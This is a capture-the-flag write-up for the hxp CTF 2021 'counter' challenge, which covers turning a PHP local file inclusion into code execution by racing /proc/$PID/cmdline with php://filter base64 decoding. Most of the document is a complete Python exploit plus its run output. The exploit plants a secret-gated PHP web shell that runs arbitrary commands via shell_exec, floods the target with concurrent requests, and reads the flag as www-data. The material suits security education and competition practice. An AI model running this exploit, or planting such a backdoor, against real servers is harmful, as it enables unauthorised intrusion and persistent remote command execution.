hxp CTF 2021: counter writeup

As all teams seem to have gone the “hard” way (using the nginx techniques described in our latest blog post) to solve the counter challenge, we decided to also publish a writeup about how the easier way of solving the medium LFI task works.

We are presented with a minimal PHP (🤎) challenge with the goal of getting code execution:

<?php
$rmf = function($file){
    system('rm -f -- '.escapeshellarg($file));
};

$page = $_GET['page'] ?? 'default';
chdir('./data');

if(isset($_GET['reset']) && preg_match('/^[a-zA-Z0-9]+$/', $page) === 1) {
    $rmf($page);
}

file_put_contents($page, file_get_contents($page) + 1);
include_once($page);

It’s clear that the script allows us the write numbers (1, 2, 3, you know how numbers work) and include arbitrary files (LFI). Additionally, one can “reset”, that is, delete previously created files via the $rmf function. Calling this function is limited to file names matching [a-zA-Z0-9]+ for security reasons.

Aside from the (usual) nginx shenanigans there seems to be no way of creating a file with arbitrary content to achieve code execution.

Luckily, we can always rely on our trusted friends procfs, PHP stream wrappers, and races to help us out:

  • Use “reset” ($rmf) to create /proc/$PID/cmdline files with content / a payload we control
  • Use the ever-flexible php://filter.base64-* to make sure we encode our payload so that it fits within the reset feature limitations
  • Ask /proc/sys/kernel/ns_last_pid for an estimate what your next $PID will be (speaking of counting again)
  • Include /proc/$PID/cmdline
  • Race this whole thing for a bit
  • … luck is with us …
  • Profit

Full exploit:

#!/usr/bin/env python3
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):
    return quote_from_bytes(data, safe)

url = f'http://{sys.argv[1]}:{sys.argv[2]}/'

backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()

print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)

code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)

# check if the payload would work on our local php setup
with tempfile.NamedTemporaryFile() as tmp:
    tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
    tmp.flush()
    o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
    print(o, file=sys.stderr)
    assert payload in o

    os.chdir('/tmp')
    subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
    with open(backdoor_name) as f:
        d = f.read()
        assert d == 'test'


pid = -1
N = 10

done = False

def worker(i):
    time.sleep(1)
    while not done:
        print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
        s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
        os.system(s)

def delete_worker():
    time.sleep(1)
    while not done:
        print('[+] starting delete worker', file=sys.stderr)
        s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
        os.system(s)

for i in range(N):
    threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()


while not done:
    try:
        r = requests.get(url, params={
            'page': '/proc/sys/kernel/ns_last_pid'
        }, timeout=10)
        print(f'[+] pid: {pid}', file=sys.stderr)
        if int(r.text) > (pid+N):
            pid = int(r.text) + 200
            print(f'[+] pid overflow: {pid}', file=sys.stderr)
            os.system('pkill -9 -x bombardier')

        r = requests.get(f'{url}data/{backdoor_name}', params={
            's' : secret,
            'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
        }, timeout=10)

        if r.status_code == 200:
            print(r.text)
            done = True
            os.system('pkill -9 -x bombardier')
            exit()


        time.sleep(0.5)
    except Exception as e:
        print(e, file=sys.stderr)

Output:

$ ./pwn.py 127.0.0.1 8008
[+] backdoor_name: 9f1fdb6774a903bd.php
[+] secret: d9901be24c84e03dd6a5e95e9e8db72f
b'abcdfgPD9waHAgaWYoc2hhMSgkX0dFVFsncyddKT09PSc0MzhmOWQwMzZkNThkNGFlNzUxNzQ1YTQ0ZjY0ZGYwYzVkNGQzOGY3JylmaWxlX3B1dF9jb250ZW50cygiOWYxZmRiNjc3NGE5MDNiZC5waHAiLCRfR0VUWydwJ10pOy8q'
b'\xb2\x17+\x99\xf6\x9bq\xd7\xe0<?php if(sha1($_GET[\'s\'])===\'438f9d036d58d4ae751745a44f64df0c5d4d38f7\')file_put_contents("9f1fdb6774a903bd.php",$_GET[\'p\']);/*'
PHP Warning:  Unterminated comment starting line 1 in /tmp/tmp3h2vd_ts on line 1
[+] pid: -1
[+] pid overflow: 548
[+] pid: 548
[+] starting include worker: 548
[+] starting include worker: 550
[+] starting include worker: 551
[+] starting include worker: 549
[+] starting include worker: 552
[+] starting include worker: 553
[+] starting include worker: 554
[+] starting include worker: 555
[+] starting include worker: 556
[+] starting include worker: 557
[+] starting delete worker
[+] pid: 548
[+] pid: 548
[+] pid: 548
[+] pid overflow: 859
Killed
[+] starting include worker: 859
Killed
Killed
[+] starting include worker: 862
Killed
Killed
[+] starting include worker: 866
[+] starting include worker: 860
Killed
[+] starting include worker: 864
Killed
[+] starting include worker: 865
Killed
[+] starting include worker: 867
Killed
[+] starting include worker: 861
[+] starting include worker: 863
Killed
[+] starting delete worker
Killed
[+] starting include worker: 868
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 96
drwxr-xr-x   1 root root  4096 Dec 25 10:45 bin
drwxr-xr-x   2 root root  4096 Dec 11 17:25 boot
drwxr-xr-x   5 root root   360 Dec 27 16:44 dev
drwxr-xr-x   1 root root  4096 Dec 27 16:44 etc
----r-----   1 root 1337    35 Sep 11 20:11 flag.txt
drwxr-xr-x   2 root root  4096 Dec 11 17:25 home
drwxr-xr-x   1 root root  4096 Dec 20 00:00 lib
drwxr-xr-x   2 root root  4096 Dec 20 00:00 lib64
drwxr-xr-x   2 root root  4096 Dec 20 00:00 media
drwxr-xr-x   2 root root  4096 Dec 20 00:00 mnt
drwxr-xr-x   2 root root  4096 Dec 20 00:00 opt
dr-xr-xr-x 284 root root     0 Dec 27 16:44 proc
-r-xr-sr-x   1 root 1337 14168 Nov 13 16:42 readflag
drwx------   2 root root  4096 Dec 20 00:00 root
drwxr-xr-x   1 root root  4096 Dec 27 16:44 run
drwxr-xr-x   1 root root  4096 Dec 25 10:45 sbin
drwxr-xr-x   2 root root  4096 Dec 20 00:00 srv
dr-xr-xr-x  11 root root     0 Dec 27 16:44 sys
d---------   1 root root  4096 Dec 27 16:44 tmp
drwxr-xr-x   1 root root  4096 Dec 20 00:00 usr
drwxr-xr-x   1 root root  4096 Dec 25 10:44 var
hxp{include_once_not_even_once_:>}
...